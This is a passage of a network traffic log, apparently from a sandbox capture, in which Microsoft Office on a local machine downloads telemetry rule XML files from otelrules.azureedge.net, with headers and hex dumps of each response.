2024-10-26 11:45:27 UTC	563	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:45:27 GMT Content-Type: text/xml Content-Length: 1393 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:51 GMT ETag: "0x8DC582BE3E55B6E" x-ms-request-id: 9bebe7cf-201e-0033-1046-26b167000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114527Z-r197bdfb6b4c8q4qvwwy2byzsw0000000280000000001y9h x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-26 11:45:27 UTC	1393	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 58 61 6d 6c 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 58 61 6d 6c 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Xaml.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenXaml"

Session ID	Source IP	Source Port	Destination IP	Destination Port
86	192.168.2.4	49833	13.107.246.51	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:45:27 UTC	192	OUT	GET /rules/rule700201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:45:27 UTC	563	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:45:27 GMT Content-Type: text/xml Content-Length: 1393 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:50 GMT ETag: "0x8DC582BE39DFC9B" x-ms-request-id: ca4b2a6a-001e-000b-1aff-2615a7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114527Z-r197bdfb6b4hsj5bywyqk9r2xw0000000390000000008dr7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-26 11:45:27 UTC	1393	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 57 6f 72 64 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 57 6f 72 64 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Word.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenWord"

Session ID	Source IP	Source Port	Destination IP	Destination Port
87	192.168.2.4	49834	13.107.246.51	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:45:27 UTC	192	OUT	GET /rules/rule700200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:45:27 UTC	563	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:45:27 GMT Content-Type: text/xml Content-Length: 1356 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF66E42D" x-ms-request-id: 55d9b643-201e-003f-330b-226d94000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114527Z-16849878b78qf2gleqhwczd21s000000028g000000001pp5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-26 11:45:27 UTC	1356	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 57 6f 72 64 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 57 6f 72 64 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Word" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenWord" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
88	192.168.2.4	49835	13.107.246.51	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:45:27 UTC	192	OUT	GET /rules/rule702351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:45:27 UTC	563	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:45:27 GMT Content-Type: text/xml Content-Length: 1395 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE017CAD3" x-ms-request-id: cd04a713-f01e-003f-7315-26d19d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114527Z-15b8d89586fwzdd8urmg0p1ebs0000000c70000000009fwn x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-26 11:45:27 UTC	1395	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 6f 69 63 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 6f 69 63 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Voice.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVoic

Session ID	Source IP	Source Port	Destination IP	Destination Port
89	192.168.2.4	49836	13.107.246.51	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:45:27 UTC	192	OUT	GET /rules/rule702350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:45:27 UTC	584	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:45:27 GMT Content-Type: text/xml Content-Length: 1358 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:54 GMT ETag: "0x8DC582BE6431446" x-ms-request-id: e6296ddc-301e-0052-0828-2665d6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114527Z-17c5cb586f672xmrz843mf85fn00000000qg000000007y7n x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-26 11:45:27 UTC	1358	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 6f 69 63 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 6f 69 63 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Voice" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVoice" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
90	192.168.2.4	49837	13.107.246.51	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:45:27 UTC	192	OUT	GET /rules/rule701251v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:45:28 UTC	563	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:45:27 GMT Content-Type: text/xml Content-Length: 1395 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:41 GMT ETag: "0x8DC582BDE12A98D" x-ms-request-id: 3c823cf0-801e-00a3-6533-267cfb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114527Z-15b8d89586fwzdd8urmg0p1ebs0000000cd0000000001w4r x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-26 11:45:28 UTC	1395	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 69 73 69 6f 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 69 73 69 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701251" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Visio.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVisi

Session ID	Source IP	Source Port	Destination IP	Destination Port
91	192.168.2.4	49838	13.107.246.51	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:45:28 UTC	192	OUT	GET /rules/rule701250v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:45:28 UTC	563	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:45:28 GMT Content-Type: text/xml Content-Length: 1358 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE022ECC5" x-ms-request-id: 91e52722-a01e-0098-6f3d-268556000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114528Z-17c5cb586f6hhlf5mrwgq3erx80000000350000000000phq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-26 11:45:28 UTC	1358	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 69 73 69 6f 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 69 73 69 6f 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701250" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Visio" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVisio" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
92	192.168.2.4	49839	13.107.246.51	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:45:28 UTC	192	OUT	GET /rules/rule700051v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:45:28 UTC	563	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:45:28 GMT Content-Type: text/xml Content-Length: 1389 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE10A6BC1" x-ms-request-id: cdbfd92d-501e-0029-317f-27d0b8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114528Z-16849878b782d4lwcu6h6gmxnw00000001m000000000arvx x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-26 11:45:28 UTC	1389	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 30 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 55 58 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 55 58 22 20 53 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700051" V="1" DC="SM" EN="Office.Telemetry.Event.Office.UX.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenUX" S="

Session ID	Source IP	Source Port	Destination IP	Destination Port
93	192.168.2.4	49840	13.107.246.51	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:45:28 UTC	192	OUT	GET /rules/rule700050v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:45:28 UTC	563	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:45:28 GMT Content-Type: text/xml Content-Length: 1352 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:01 GMT ETag: "0x8DC582BE9DEEE28" x-ms-request-id: 4faef820-a01e-0053-6a4e-228603000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114528Z-16849878b78km6fmmkbenhx76n000000017000000000ds1n x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-26 11:45:28 UTC	1352	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 30 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 55 58 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 55 58 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700050" V="1" DC="SM" EN="Office.Telemetry.Event.Office.UX" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenUX" S="Medium" /> <F T="2"> <O T

Session ID	Source IP	Source Port	Destination IP	Destination Port
94	192.168.2.4	49841	13.107.246.51	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:45:28 UTC	192	OUT	GET /rules/rule702951v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:45:28 UTC	584	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:45:28 GMT Content-Type: text/xml Content-Length: 1405 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE12B5C71" x-ms-request-id: 2e8006eb-901e-0083-471c-26bb55000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114528Z-16849878b78q9m8bqvwuva4svc00000000m00000000022er x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-26 11:45:28 UTC	1405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 39 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 72 61 6e 73 6c 61 74 6f 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702951" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Translator.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToke

Session ID	Source IP	Source Port	Destination IP	Destination Port
95	192.168.2.4	49842	13.107.246.51	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:45:28 UTC	192	OUT	GET /rules/rule702950v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:45:28 UTC	563	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:45:28 GMT Content-Type: text/xml Content-Length: 1368 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDDC22447" x-ms-request-id: 5ec9f71f-c01e-0082-7a31-26af72000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114528Z-15b8d89586flspj6y6m5fk442w00000007s0000000005e7d x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-26 11:45:28 UTC	1368	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 39 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 72 61 6e 73 6c 61 74 6f 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 72 61 6e 73 6c 61 74 6f 72 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702950" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Translator" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTranslator" S="Medium" /> <F T=

Session ID	Source IP	Source Port	Destination IP	Destination Port
96	192.168.2.4	49843	13.107.246.51	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:45:29 UTC	192	OUT	GET /rules/rule701151v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:45:29 UTC	563	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:45:29 GMT Content-Type: text/xml Content-Length: 1401 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:45 GMT ETag: "0x8DC582BE055B528" x-ms-request-id: d0af8e75-601e-0050-7953-272c9c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114529Z-r197bdfb6b466qclztvgs64z1000000003h0000000001uue x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
